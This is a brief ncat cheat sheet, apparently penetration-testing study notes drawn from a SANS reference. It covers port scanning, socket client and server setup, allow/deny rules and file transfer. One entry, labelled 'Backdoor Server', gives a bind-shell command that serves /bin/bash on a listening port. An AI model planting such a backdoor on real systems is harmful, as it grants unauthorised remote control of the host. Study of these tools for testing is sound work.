[Netcat][Ncat][Nmap][eCPPT]netcat cheat sheet

 Reference: https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf

This cheat sheet is based on the rewritten version of NetCat, namely ncat, which is portion of Nmap.

Port Scan:

# ncat -z -w1 -n -v 192.168.0.251 22

Socket Client:

# ncat -nvv 192.168.0.251 443

Socket Server:

# ncat -vv -l -p 443

Keepalived Socket Server:

In Windows:

cmd > nc -L -p 443

In Linux/Unix:

# ncat -k -p 443

Authentication Server allowing specific clients:

Only allow 192.168.0.253 to connect the socket:

ncat --allow 192.168.0.253 -vv -l -p 443

Only deny 192.168.0.251 to connect the socket:

ncat --deny 192.168.0.251 -vv -l -p 443

Backdoor Server:

# ncat -l -p 888 -e /bin/bash

File Transferring:

Recepient / Server:

# ncat -l -p 8888 > /tmp/test.txt

Sender / Client:

# ncat -w3 -n 192.168.0.253 8888 < ./test.txt